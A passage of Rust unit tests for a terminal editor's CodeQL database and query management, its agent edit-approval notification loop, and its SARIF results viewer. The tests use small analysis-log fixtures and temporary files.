            history.push(crate::codeql_query::HistoryEntry {
                query: tmp.path().join("q.ql"),
                database: name.to_string(),
                database_path: path,
                started: 1,
                seconds: 1,
                status: crate::codeql_query::RunStatus::Succeeded,
                output: db.join("unused-output.csv"),
                name: None,
                results: None,
            });
        }
        history.save(&App::codeql_history_path()).unwrap();

        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        // Renaming the database a pre-path run named pins that run to its
        // path first, so the rename does not make it look unused.
        app.submit_rename_codeql_database(&legacy, "legacy, renamed");
        let history = crate::codeql_query::History::load(&App::codeql_history_path());
        assert!(history.entries.iter().any(
            |e| e.database == "legacy" && e.database_path.as_deref() == Some(legacy.as_path())
        ));
        app.run_command(Command::CodeqlDeleteUnusedDatabases);
        let prompt = app.input_prompt.as_ref().expect("asks first");
        assert_eq!(prompt.title, "Delete 2 unused CodeQL databases?");
        assert_eq!(
            prompt.purpose,
            InputPurpose::CodeqlDeleteUnusedDatabases {
                paths: vec![stale_a.clone(), stale_b.clone()]
            }
        );
        app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
            .unwrap();
        assert_eq!(app.status, "Deleted 2 unused CodeQL databases");
        let store = crate::codeql_db::DatabaseStore::load(&App::codeql_db_store_path());
        let names: Vec<&str> = store.databases.iter().map(|d| d.name.as_str()).collect();
        assert_eq!(
            names,
            ["used, renamed", "legacy, renamed", "current", "outside"]
        );
        assert_eq!(store.current, Some(2), "still the current one");
        assert!(!cache.join("stale-a").exists() && !cache.join("stale-b").exists());
        for kept in [&used, &legacy, &current, &outside] {
            assert!(kept.exists(), "{}", kept.display());
        }

        app.run_command(Command::CodeqlDeleteUnusedDatabases);
        assert!(app.input_prompt.is_none());
        assert_eq!(app.status, "There are no unused CodeQL databases to delete");
        assert_eq!(
            Command::from_id("codeql_delete_unused_databases"),
            Some(Command::CodeqlDeleteUnusedDatabases)
        );
    });
}

#[test]
fn renaming_one_of_two_same_named_databases_keeps_both_protected() {
    // #578: an old run that names "dup" could have been on either of two
    // databases called that. After one is renamed, Delete Unused must
    // still leave both alone: the renamed one remembers its former name.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::widgets::command_palette::Command;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let cache = App::codeql_db_cache_dir();
        let first = make_codeql_db(&cache.join("one"), "dup", "go");
        let second = make_codeql_db(&cache.join("two"), "dup", "go");
        let current = make_codeql_db(&cache.join("cur"), "current", "go");
        let mut store = crate::codeql_db::DatabaseStore::default();
        for db in [&first, &second, &current] {
            store.add(db).unwrap();
        }
        store.current = Some(2);
        store.save(&App::codeql_db_store_path()).unwrap();
        let mut history = crate::codeql_query::History::default();
        history.push(crate::codeql_query::HistoryEntry {
            query: tmp.path().join("q.ql"),
            database: String::from("dup"),
            database_path: None,
            started: 1,
            seconds: 1,
            status: crate::codeql_query::RunStatus::Succeeded,
            output: tmp.path().join("r.csv"),
            name: None,
            results: None,
        });
        history.save(&App::codeql_history_path()).unwrap();

        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.submit_rename_codeql_database(&first, "renamed");
        let history = crate::codeql_query::History::load(&App::codeql_history_path());
        assert_eq!(
            history.entries[0].database_path, None,
            "ambiguous: not pinned to either"
        );
        app.run_command(Command::CodeqlDeleteUnusedDatabases);
        assert!(app.input_prompt.is_none());
        assert_eq!(app.status, "There are no unused CodeQL databases to delete");
        assert!(first.exists() && second.exists());
    });
}

#[test]
fn creating_a_codeql_query_writes_opens_and_lists_it_in_the_selected_pack() {
    // #578: "CodeQL: Create Query" asks for a name and writes a starter
    // query into the selected pack, in its language; from the empty
    // Queries section it goes to the workspace root, with a pack file in
    // the Language section's language.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    use crate::widgets::codeql::{Action, Hit, Section};
    use crate::widgets::command_palette::Command;
    use crate::widgets::input_prompt::InputPurpose;
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let press = |app: &mut App, code: KeyCode| {
            app.handle_key(key(code, KeyModifiers::NONE)).unwrap();
        };
        let type_str = |app: &mut App, text: &str| {
            for c in text.chars() {
                press(app, KeyCode::Char(c));
            }
        };
        let tmp = tempfile::tempdir().unwrap();
        let pack = tmp.path().join("pack");
        std::fs::create_dir_all(&pack).unwrap();
        std::fs::write(pack.join("qlpack.yml"), "name: acme/go\nextractor: go\n").unwrap();
        std::fs::write(pack.join("a.ql"), "select 1").unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.open_codeql_view();
        app.focus = Pane::Tree;
        let row = app
            .codeql
            .lines()
            .iter()
            .position(|l| {
                matches!(
                    l,
                    crate::widgets::codeql::Line::Action(Action::TogglePack(0), _)
                )
            })
            .expect("the pack is listed");
        app.codeql.selected = row;
        app.run_command(Command::CodeqlCreateQuery);
        let prompt = app.input_prompt.as_ref().expect("a name is asked for");
        assert_eq!(
            prompt.purpose,
            InputPurpose::CodeqlCreateQuery {
                dir: pack.clone(),
                language: Some(String::from("go")),
            }
        );
        assert!(prompt.title.contains("acme/go"), "{}", prompt.title);
        type_str(&mut app, "find-calls");
        press(&mut app, KeyCode::Enter);
        let created = pack.join("find-calls.ql");
        let text = std::fs::read_to_string(&created).expect("written");
        assert!(text.contains("\nimport go\n"), "{text}");
        assert!(text.contains("@id go/find-calls"), "{text}");
        assert_eq!(app.editor.path.as_deref(), Some(created.as_path()));
        assert!(app.focus == Pane::Editor);
        assert!(app.codeql.queries[0].queries.contains(&created), "listed");
        assert!(app.status.contains("pack/find-calls.ql"), "{}", app.status);
        assert!(!pack.join("sub").exists());

        // The same name again is refused on the status line.
        app.set_sidebar_view(SidebarView::CodeQL);
        app.focus = Pane::Tree;
        press(&mut app, KeyCode::Char('n'));
        type_str(&mut app, "find-calls.ql");
        press(&mut app, KeyCode::Enter);
        assert!(app.status.contains("already exists"), "{}", app.status);
        assert_eq!(std::fs::read_to_string(&created).unwrap(), text);

        // An empty workspace: the welcome row, in the chosen language.
        let empty = tempfile::tempdir().unwrap();
        let mut app = App::new(empty.path().to_path_buf()).unwrap();
        app.open_codeql_view();
        app.focus = Pane::Tree;
        app.codeql.language = Some(6);
        app.codeql.collapsed.insert(Section::Databases);
        let row = app
            .codeql
            .lines()
            .iter()
            .position(|l| {
                matches!(
                    l,
                    crate::widgets::codeql::Line::Action(Action::CreateQuery, _)
                )
            })
            .expect("the welcome offers to create one");
        app.codeql.selected = row;
        assert_eq!(
            app.codeql.selected_hit(),
            Some(Hit::Action(Action::CreateQuery))
        );
        press(&mut app, KeyCode::Enter);
        type_str(&mut app, "hello");
        press(&mut app, KeyCode::Enter);
        let created = empty.path().join("hello.ql");
        assert!(
            std::fs::read_to_string(&created)
                .unwrap()
                .contains("import python"),
            "{}",
            app.status
        );
        let qlpack = std::fs::read_to_string(empty.path().join("qlpack.yml")).unwrap();
        assert!(qlpack.contains("codeql/python-all"), "{qlpack}");
        assert_eq!(app.editor.path.as_deref(), Some(created.as_path()));
        assert!(
            app.codeql
                .queries
                .iter()
                .any(|p| p.queries.contains(&created)),
            "{:?}",
            app.codeql.queries
        );
        assert_eq!(
            Command::from_id("codeql_create_query"),
            Some(Command::CodeqlCreateQuery)
        );
        assert_eq!(Command::CodeqlCreateQuery.title(), "CodeQL: Create Query");
    });
}

/// The phone loop (#359), end to end through the App: a proposal sends one
/// notification whose Approve link carries the proposal's token, and that
/// token, sent back the way `croft decide` sends it, answers the hook and
/// closes the popup without a key pressed.
#[test]
fn an_approval_notifies_once_and_its_approve_token_answers_the_hook() {
    use std::io::{BufRead, Write};
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("a.rs");
    std::fs::write(&file, "let x = 1;\n").unwrap();
    let out = tmp.path().join("notified");
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.notifier = crate::notifications::Notifier::new(&[crate::prefs::NotificationSink {
        kind: String::from("command"),
        argv: vec![
            String::from("/bin/sh"),
            String::from("-c"),
            format!(
                "printf '%s %s\\n' \"$CROFT_EVENT\" \"$CROFT_APPROVE_LINK\" >> '{}'",
                out.display()
            ),
        ],
        ..Default::default()
    }]);
    let sock = tmp.path().join("hook.sock");
    let listener = std::os::unix::net::UnixListener::bind(&sock).unwrap();
    listener.set_nonblocking(true).unwrap();
    app.hook_listener = Some(listener);

    let mut hook = std::os::unix::net::UnixStream::connect(&sock).unwrap();
    let req = crate::agent_hook::EditRequest {
        agent: "claude-code".into(),
        tool: "Edit".into(),
        input: serde_json::json!({"file_path": file, "old_string": "1", "new_string": "2"}),
        cwd: tmp.path().into(),
    };
    writeln!(hook, "{}", serde_json::to_string(&req).unwrap()).unwrap();
    assert!(app.drain_hook_requests());
    // Later passes do not notify it again.
    app.drain_hook_requests();
    app.drain_hook_requests();
    let token = app.approvals[0].token.clone();
    // One worker delivers in order, so once this sentinel lands, anything
    // the passes above sent has landed too.
    app.notifier.emit(
        crate::notifications::Event::Osc9 {
            pane: String::from("p"),
            message: String::from("sentinel"),
        },
        tmp.path(),
        "h",
    );
    crate::test_budget::await_spawned(
        std::time::Duration::from_secs(5),
        "the notification",
        || std::fs::read_to_string(&out).is_ok_and(|s| s.contains("osc9")),
    );
    let sent = std::fs::read_to_string(&out).unwrap();
    let approvals: Vec<_> = sent
        .lines()
        .filter(|l| l.starts_with("approval_pending "))
        .collect();
    assert_eq!(approvals.len(), 1, "{sent}");
    let (event, link) = approvals[0].split_once(' ').unwrap();
    assert_eq!(event, "approval_pending");
    let link = crate::deep_link::parse(link).unwrap();
    assert_eq!(link.decide.as_ref().unwrap().token, token);
    assert!(link.decide.as_ref().unwrap().allow);
    assert_eq!(
        link.path.as_deref(),
        Some(tmp.path().to_str().unwrap()),
        "the link names the workspace whose croft holds the edit"
    );

    let mut phone = std::os::unix::net::UnixStream::connect(&sock).unwrap();
    writeln!(
        phone,
        "{}",
        serde_json::json!({"decide": {"token": token, "allow": true}})
    )
    .unwrap();
    assert!(app.drain_hook_requests());
    assert!(app.approval_ui.is_none() && app.approvals.is_empty());
    let mut reply = String::new();
    std::io::BufReader::new(phone)
        .read_line(&mut reply)
        .unwrap();
    assert!(reply.contains("\"ok\":true"), "{reply}");
    let mut line = String::new();
    std::io::BufReader::new(hook).read_line(&mut line).unwrap();
    assert_eq!(
        serde_json::from_str::<crate::agent_hook::Decision>(line.trim()).unwrap(),
        crate::agent_hook::Decision::Allow
    );
}
/// A log whose one result carries a two-step code flow, a stack and rule help.
fn sarif_flow_fixture() -> (tempfile::TempDir, std::path::PathBuf) {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir_all(tmp.path().join("src")).unwrap();
    std::fs::write(
        tmp.path().join("src/api.rs"),
        "fn a() {}\nlet input = read();\n",
    )
    .unwrap();
    std::fs::write(
        tmp.path().join("src/db.rs"),
        "one\ntwo\nthree\nrun(input);\n",
    )
    .unwrap();
    let log = tmp.path().join("flow.sarif");
    std::fs::write(
        &log,
        r#"{"version":"2.1.0","runs":[{"tool":{"driver":{"name":"lint","rules":[{"id":"R1","name":"Taint",
            "help":{"text":"Use parameters instead."},"properties":{"tags":["security"]}}]}},
          "results":[{"ruleId":"R1","level":"error",
            "message":{"text":"Tainted by [the input](1)."},
            "locations":[{"physicalLocation":{"artifactLocation":{"uri":"src/db.rs"},"region":{"startLine":4,"startColumn":1}}}],
            "relatedLocations":[{"id":1,"physicalLocation":{"artifactLocation":{"uri":"src/api.rs"},"region":{"startLine":2,"startColumn":5}}}],
            "codeFlows":[{"threadFlows":[{"locations":[
              {"location":{"message":{"text":"source"},"physicalLocation":{"artifactLocation":{"uri":"src/api.rs"},"region":{"startLine":2,"startColumn":5}}}},
              {"location":{"message":{"text":"sink"},"physicalLocation":{"artifactLocation":{"uri":"src/db.rs"},"region":{"startLine":4,"startColumn":5}}}}]}]}],
            "stacks":[{"frames":[{"location":{"message":{"text":"frame zero"},"physicalLocation":{"artifactLocation":{"uri":"src/db.rs"},"region":{"startLine":3,"startColumn":2}}}}]}]
          }]}]}"#,
    )
    .unwrap();
    (tmp, log)
}

fn draw_screen(app: &mut App) -> String {
    let mut term = ratatui::Terminal::new(ratatui::backend::TestBackend::new(160, 40)).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    screen_text(&term)
}

#[test]
fn sarif_info_tab_shows_rule_help_tags_and_related_locations() {
    let (tmp, log) = sarif_flow_fixture();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    let screen = draw_screen(&mut app);
    assert!(
        screen.contains("Use parameters instead."),
        "rule help:\n{screen}"
    );
    assert!(screen.contains("security"), "tags:\n{screen}");
    assert!(
        screen.contains("src/api.rs:2:5"),
        "related location:\n{screen}"
    );
}

#[test]
fn sarif_steps_tab_walks_the_code_flow_in_the_editor() {
    let (tmp, log) = sarif_flow_fixture();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_preview(&log).unwrap();
    app.handle_sarif_key(key(KeyCode::Char('d'), KeyModifiers::NONE));
    let screen = draw_screen(&mut app);
    assert!(screen.contains("Steps"), "{screen}");
    assert!(
        screen.contains("source") && screen.contains("sink"),
        "{screen}"
    );
    app.handle_sarif_key(key(KeyCode::Char('n'), KeyModifiers::NONE));
    assert_eq!(
        app.editor.path.as_deref(),
        Some(tmp.path().join("src/api.rs").as_path()),
        "step 1 opened: {}",
        app.status
    );
    assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (1, 4));
    // Back to the viewer tab and on to step 2.
    let viewer = (0..app.editor.tab_count())
        .find(|&i| app.editor.tab_path(i).as_deref() == Some(log.as_path()))
        .expect("the viewer tab stayed open");
    app.editor.select(viewer);
    app.handle_sarif_key(key(KeyCode::Char('n'), KeyModifiers::NONE));
    assert_eq!(
        app.editor.path.as_deref(),
        Some(tmp.path().join("src/db.rs").as_path())
    );
    assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (3, 4));
}

#[test]
fn sarif_stacks_and_raw_tabs() {
    let (tmp, log) = sarif_flow_fixture();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    app.handle_sarif_key(key(KeyCode::Char('d'), KeyModifiers::NONE));
    app.handle_sarif_key(key(KeyCode::Char('d'), KeyModifiers::NONE));
    let screen = draw_screen(&mut app);
    assert!(screen.contains("frame zero"), "stacks tab:\n{screen}");
    assert!(
        screen.contains("src/db.rs:3:2"),
        "frame location with its column:\n{screen}"
    );
    app.handle_sarif_key(key(KeyCode::Char('d'), KeyModifiers::NONE));
    let screen = draw_screen(&mut app);
    assert!(screen.contains("\"ruleId\": \"R1\""), "raw tab:\n{screen}");
    app.handle_sarif_key(key(KeyCode::Char('D'), KeyModifiers::NONE));
    let screen = draw_screen(&mut app);
    assert!(
        screen.contains("frame zero"),
        "D goes back a tab:\n{screen}"
    );
}

#[test]
fn sarif_message_link_opens_its_related_location() {
    let (tmp, log) = sarif_flow_fixture();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_preview(&log).unwrap();
    app.handle_sarif_key(key(KeyCode::Char('L'), KeyModifiers::NONE));
    assert_eq!(
        app.editor.path.as_deref(),
        Some(tmp.path().join("src/api.rs").as_path()),
        "[the input](1) followed: {}",
        app.status
    );
    assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (1, 4));
}

#[test]
fn an_open_sarif_log_publishes_its_results_as_diagnostics() {
    // #577: results reach the editor through the ordinary diagnostics store
    // under "SARIF: <tool>", so squiggles, hover and Problems all see them.
    let (tmp, log) = sarif_fixture();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_preview(&log).unwrap();
    assert!(app.sync_sarif_diagnostics(), "publishing is a change");
    let target = tmp.path().join("src/a.rs");
    let by_source = app
        .lsp_diagnostics
        .get(&target)
        .expect("the result's file has diagnostics");
    let diags = by_source.get("SARIF: lint").expect("keyed by the tool");
    assert_eq!(diags.len(), 1);
    let d = &diags[0];
    assert_eq!((d.start_line, d.start_char), (1, 8));
    assert_eq!(d.end_line, 1);
    assert_eq!(
        d.end_char as usize,
        "    let q = format!(\"{}\", id);".encode_utf16().count(),
        "no endColumn: the range runs to the end of the start line"
    );
    assert_eq!(d.severity, crate::lsp::manager::DiagnosticSeverity::Error);
    assert_eq!(d.message, "[R1] Query built from user input.");
    assert!(
        !app.sync_sarif_diagnostics(),
        "an unchanged log is not a change"
    );

    // The file's own tab gets them as squiggles. The viewer is pinned first,
    // as opening a result does, so the preview open does not replace it.
    app.editor.pin_active();
    app.editor.open_preview(&target).unwrap();
    app.sync_sarif_diagnostics();
    let merged = app.merged_diagnostics(&target);
    assert!(merged.iter().any(|d| d.message.contains("[R1]")));
}

#[test]
fn closing_the_sarif_tab_withdraws_its_diagnostics() {
    let (tmp, log) = sarif_fixture();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    app.sync_sarif_diagnostics();
    let target = tmp.path().join("src/a.rs");
    assert!(app.lsp_diagnostics.contains_key(&target));
    // Replace the log's tab with an ordinary file: no SARIF view is open.
    app.editor.open(&target).unwrap();
    assert!(app.sync_sarif_diagnostics(), "withdrawing is a change");
    assert!(
        app.lsp_diagnostics
            .get(&target)
            .is_none_or(|m| !m.contains_key("SARIF: lint")),
        "nothing left behind"
    );
}

#[test]
fn sarif_levels_map_to_editor_severities() {
    use crate::lsp::manager::DiagnosticSeverity as S;
    use crate::sarif::semantics::Level;
    assert_eq!(crate::sarif::diagnostics::severity(Level::Error), S::Error);
    assert_eq!(
        crate::sarif::diagnostics::severity(Level::Warning),
        S::Warning
    );
    assert_eq!(
        crate::sarif::diagnostics::severity(Level::Note),
        S::Information
    );
    assert_eq!(
        crate::sarif::diagnostics::severity(Level::None),
        S::Information
    );
}

/// A log whose one result carries a fix for the line it reports.
fn sarif_fix_fixture() -> (tempfile::TempDir, std::path::PathBuf) {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("q.rs"), "let q = format!(\"{}\", id);\n").unwrap();
    let log = tmp.path().join("fix.sarif");
    std::fs::write(
        &log,
        r#"{"version":"2.1.0","runs":[{"tool":{"driver":{"name":"lint"}},"columnKind":"unicodeCodePoints",
          "results":[{"ruleId":"R9","level":"warning","message":{"text":"Unsanitised id."},
            "locations":[{"physicalLocation":{"artifactLocation":{"uri":"q.rs"},"region":{"startLine":1,"startColumn":23}}}],
            "fixes":[{"description":{"text":"Sanitise it"},"artifactChanges":[{"artifactLocation":{"uri":"q.rs"},
              "replacements":[{"deletedRegion":{"startLine":1,"startColumn":23,"endColumn":25},"insertedContent":{"text":"clean(id)"}}]}]}]}]}]}"#,
    )
    .unwrap();
    (tmp, log)
}

#[test]
fn sarif_fix_tab_previews_and_f_applies_the_fix_as_an_unsaved_edit() {
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let (tmp, log) = sarif_fix_fixture();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.editor.open_preview(&log).unwrap();
        // The Fix tab is the fifth: Info, Steps, Stacks, Raw, Fix.
        for _ in 0..4 {
            app.handle_sarif_key(key(KeyCode::Char('d'), KeyModifiers::NONE));
        }
        let screen = draw_screen(&mut app);
        assert!(
            screen.contains("Sanitise it"),
            "the fix's description:\n{screen}"
        );
        assert!(
            screen.contains("+ let q = format!(\"{}\", clean(id));"),
            "its preview:\n{screen}"
        );
        app.handle_sarif_key(key(KeyCode::Char('f'), KeyModifiers::NONE));
        assert_eq!(
            app.editor.path.as_deref(),
            Some(tmp.path().join("q.rs").as_path()),
            "the fixed file is open: {}",
            app.status
        );
        assert_eq!(app.editor.lines[0], "let q = format!(\"{}\", clean(id));");
        assert!(
            app.editor.dirty,
            "applied to the buffer, not saved behind the user's back"
        );
        assert_eq!(
            std::fs::read_to_string(tmp.path().join("q.rs")).unwrap(),
            "let q = format!(\"{}\", id);\n",
            "the disk is untouched"
        );
        // The result is marked fixed, and that survives reopening the log.
        let viewer = (0..app.editor.tab_count())
            .find(|&i| app.editor.tab_path(i).as_deref() == Some(log.as_path()))
            .unwrap();
        app.editor.select(viewer);
        assert!(app.editor.sarif.as_ref().unwrap().entries[0].fixed);
        let mut again = App::new(tmp.path().to_path_buf()).unwrap();
        again.editor.open(&log).unwrap();
        assert!(
            again.editor.sarif.as_ref().unwrap().entries[0].fixed,
            "persisted"
        );
        // A fixed result no longer squiggles.
        again.sync_sarif_diagnostics();
        assert!(
            again
                .lsp_diagnostics
                .get(&tmp.path().join("q.rs"))
                .is_none_or(|m| m.values().all(|v| v.is_empty())),
            "fixed results are withdrawn from the editor"
        );
    });
}

/// Two results in one file and one in another, for navigation.
fn sarif_nav_fixture() -> (tempfile::TempDir, std::path::PathBuf) {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.rs"), "l1\nl2\nl3\nl4\nl5\nl6\n").unwrap();
    std::fs::write(tmp.path().join("b.rs"), "m1\nm2\n").unwrap();
    let log = tmp.path().join("nav.sarif");
    let r = |uri: &str, line: u32, msg: &str| {
        format!(
            r#"{{"message":{{"text":"{msg}"}},"locations":[{{"physicalLocation":{{"artifactLocation":{{"uri":"{uri}"}},"region":{{"startLine":{line},"startColumn":1}}}}}}]}}"#
        )
    };
    std::fs::write(
        &log,
        format!(
            r#"{{"version":"2.1.0","runs":[{{"tool":{{"driver":{{"name":"lint"}}}},"results":[{},{},{}]}}]}}"#,
            r("a.rs", 2, "first"),
            r("a.rs", 5, "second"),
            r("b.rs", 1, "third")
        ),
    )
    .unwrap();
    (tmp, log)
}

#[test]
fn next_and_previous_sarif_result_walk_locations_across_files() {
    let (tmp, log) = sarif_nav_fixture();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    app.editor.pin_active();
    app.open_at(&tmp.path().join("a.rs"), 0, 0).unwrap();
    use crate::widgets::command_palette::Command;
    app.run_command(Command::SarifNextResult);
    assert_eq!(
        (app.editor.cursor_row, app.status.contains("first")),
        (1, true),
        "{}",
        app.status
    );
    app.run_command(Command::SarifNextResult);
    assert_eq!(app.editor.cursor_row, 4);
    app.run_command(Command::SarifNextResult);
    assert_eq!(
        app.editor.path.as_deref(),
        Some(tmp.path().join("b.rs").as_path()),
        "on to the next file"
    );
    app.run_command(Command::SarifNextResult);
    assert_eq!(
        (app.editor.path.as_deref(), app.editor.cursor_row),
        (Some(tmp.path().join("a.rs").as_path()), 1),
        "wraps to the first"
    );
    app.run_command(Command::SarifPreviousResult);
    assert_eq!(
        app.editor.path.as_deref(),
        Some(tmp.path().join("b.rs").as_path())
    );
    assert_eq!(Command::SarifNextResult.title(), "SARIF: Next Result");
}

#[test]
fn moving_the_cursor_onto_a_result_selects_it_in_the_viewer() {
    let (tmp, log) = sarif_nav_fixture();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    app.editor.pin_active();
    app.open_at(&tmp.path().join("a.rs"), 4, 0).unwrap();
    app.sync_sarif_selection_to_cursor();
    let viewer = (0..app.editor.tab_count())
        .find(|&i| app.editor.tab_path(i).as_deref() == Some(log.as_path()))
        .unwrap();
    let view = app.editor.editors[viewer].sarif.as_ref().unwrap();
    assert_eq!(view.selected_entry().unwrap().message, "second");
}

#[test]
fn a_missing_file_from_a_known_repository_downloads_once_its_host_is_trusted() {
    // #577: the run's versionControlProvenance names the repository and
    // commit; nothing is fetched until the user trusts the host.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        let log = tmp.path().join("remote.sarif");
        std::fs::write(
            &log,
            r#"{"version":"2.1.0","runs":[{"tool":{"driver":{"name":"ci"}},
              "versionControlProvenance":[{"repositoryUri":"https://github.com/o/r","revisionId":"c0ffee"}],
              "results":[{"message":{"text":"m"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"src/gone.rs"},"region":{"startLine":2,"startColumn":3}}}]}]}]}"#,
        )
        .unwrap();
        fn fake(url: &str) -> Result<Vec<u8>, String> {
            assert_eq!(
                url,
                "https://raw.githubusercontent.com/o/r/c0ffee/src/gone.rs"
            );
            Ok(b"one\n  two\nthree\n".to_vec())
        }
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.sarif_fetch = fake;
        app.editor.open_preview(&log).unwrap();
        app.editor.sarif.as_mut().unwrap().selected = 1;
        app.open_selected_sarif_result();
        match app.input_prompt.as_ref().map(|p| &p.purpose) {
            Some(crate::widgets::input_prompt::InputPurpose::SarifTrustHost { host, .. }) => {
                assert_eq!(host, "github.com")
            }
            other => panic!("a trust prompt, not {other:?}: {}", app.status),
        }
        assert!(app.sarif_download.is_none(), "nothing fetched before trust");
        // Enter on the empty field trusts the host and downloads.
        app.submit_input_prompt();
        assert!(crate::sarif::resolve::trusted_hosts().contains(&"github.com".to_string()));
        let rx_wait = std::time::Instant::now();
        while app.sarif_download.is_some() && rx_wait.elapsed().as_secs() < 10 {
            app.poll_sarif_download();
            std::thread::sleep(std::time::Duration::from_millis(5));
        }
        let opened = app.editor.path.clone().expect("the download opened");
        assert!(opened.starts_with(croft_cache_dir()), "{opened:?}");
        assert_eq!(opened.file_name().unwrap(), "gone.rs");
        assert_eq!((app.editor.cursor_row, app.editor.cursor_col), (1, 2));

        // Now trusted: the next open downloads without asking.
        let mut again = App::new(tmp.path().to_path_buf()).unwrap();
        again.sarif_fetch = fake;
        again.editor.open_preview(&log).unwrap();
        again.editor.sarif.as_mut().unwrap().selected = 1;
        again.open_selected_sarif_result();
        assert!(again.input_prompt.is_none(), "{}", again.status);
        assert!(again.sarif_download.is_some());
    });
}

#[test]
fn a_missing_file_asks_to_locate_it_and_the_mapping_is_learned_and_kept() {
    // #577: VS Code's Locate… prompt, with the learned prefix remembered.
    let _guard = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let home = tempfile::tempdir().unwrap();
    with_relay_home(home.path(), || {
        let tmp = tempfile::tempdir().unwrap();
        std::fs::create_dir_all(tmp.path().join("src")).unwrap();
        std::fs::create_dir_all(tmp.path().join("lib")).unwrap();
        std::fs::write(tmp.path().join("src/a.rs"), "a1\na2\n").unwrap();
        std::fs::write(tmp.path().join("lib/b.rs"), "b1\nb2\nb3\n").unwrap();
        let log = tmp.path().join("ci.sarif");
        std::fs::write(
            &log,
            r#"{"version":"2.1.0","runs":[{"tool":{"driver":{"name":"ci"}},"results":[
                {"message":{"text":"in a"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"file:///home/runner/work/app/src/a.rs"},"region":{"startLine":2}}}]},
                {"message":{"text":"in b"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"file:///home/runner/work/app/lib/b.rs"},"region":{"startLine":3}}}]}
            ]}]}"#,
        )
        .unwrap();
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.editor.open_preview(&log).unwrap();
        // The first result's file is not here: Enter asks where it is.
        app.handle_sarif_key(key(KeyCode::Enter, KeyModifiers::NONE));
        assert!(
            matches!(
                app.input_prompt.as_ref().map(|p| &p.purpose),
                Some(crate::widgets::input_prompt::InputPurpose::SarifLocate { .. })
            ),
            "a Locate prompt: {}",
            app.status
        );
        // Groups of equal size sort by path, so `lib/b.rs` is selected first.
        assert_eq!(
            app.editor
                .sarif
                .as_ref()
                .unwrap()
                .selected_entry()
                .map(|e| e.message.clone())
                .as_deref(),
            Some("in b")
        );
        // A file with another name is refused.
        app.submit_sarif_locate(&tmp.path().join("src/a.rs").display().to_string());
        assert!(app.status.contains("names must match"), "{}", app.status);
        // The right file opens, and the mapping is learned.
        app.submit_sarif_locate(&tmp.path().join("lib/b.rs").display().to_string());
        assert_eq!(
            app.editor.path.as_deref(),
            Some(tmp.path().join("lib/b.rs").as_path())
        );
        assert_eq!(app.editor.cursor_row, 2);
        // The other result now resolves on its own, in the next session too.
        let mut again = App::new(tmp.path().to_path_buf()).unwrap();
        again.editor.open_preview(&log).unwrap();
        let rows = again.editor.sarif.as_ref().unwrap().rows();
        let a_row = rows
            .iter()
            .position(|r| match r {
                crate::sarif::view::Row::Item { entry } => {
                    again.editor.sarif.as_ref().unwrap().entries[*entry].message == "in a"
                }
                _ => false,
            })
            .unwrap();
        again.editor.sarif.as_mut().unwrap().selected = a_row;
        again.handle_sarif_key(key(KeyCode::Enter, KeyModifiers::NONE));
        assert_eq!(
            again.editor.path.as_deref(),
            Some(tmp.path().join("src/a.rs").as_path()),
            "resolved through the saved prefix: {}",
            again.status
        );
        assert_eq!(again.editor.cursor_row, 1);
    });
}

#[test]
fn a_second_log_joins_the_viewer_and_delete_closes_it_from_the_logs_tab() {
    // #577: VS Code merges several logs in one panel; its Logs tab closes one.
    let (tmp, log) = sarif_fixture();
    let second = tmp.path().join("second.sarif");
    std::fs::write(
        &second,
        r#"{"version":"2.1.0","runs":[{"tool":{"driver":{"name":"other"}},"results":[
            {"ruleId":"Z1","message":{"text":"From the second log."}}]}]}"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open(&log).unwrap();
    app.handle_sarif_key(key(KeyCode::Char('o'), KeyModifiers::NONE));
    assert!(
        matches!(
            app.input_prompt.as_ref().map(|p| &p.purpose),
            Some(crate::widgets::input_prompt::InputPurpose::SarifAddLog)
        ),
        "o asks for a log"
    );
    app.submit_sarif_add_log(&second.display().to_string());
    let view = app.editor.sarif.as_ref().unwrap();
    assert_eq!(view.logs.len(), 2);
    assert_eq!(view.entries.len(), 2);
    assert!(
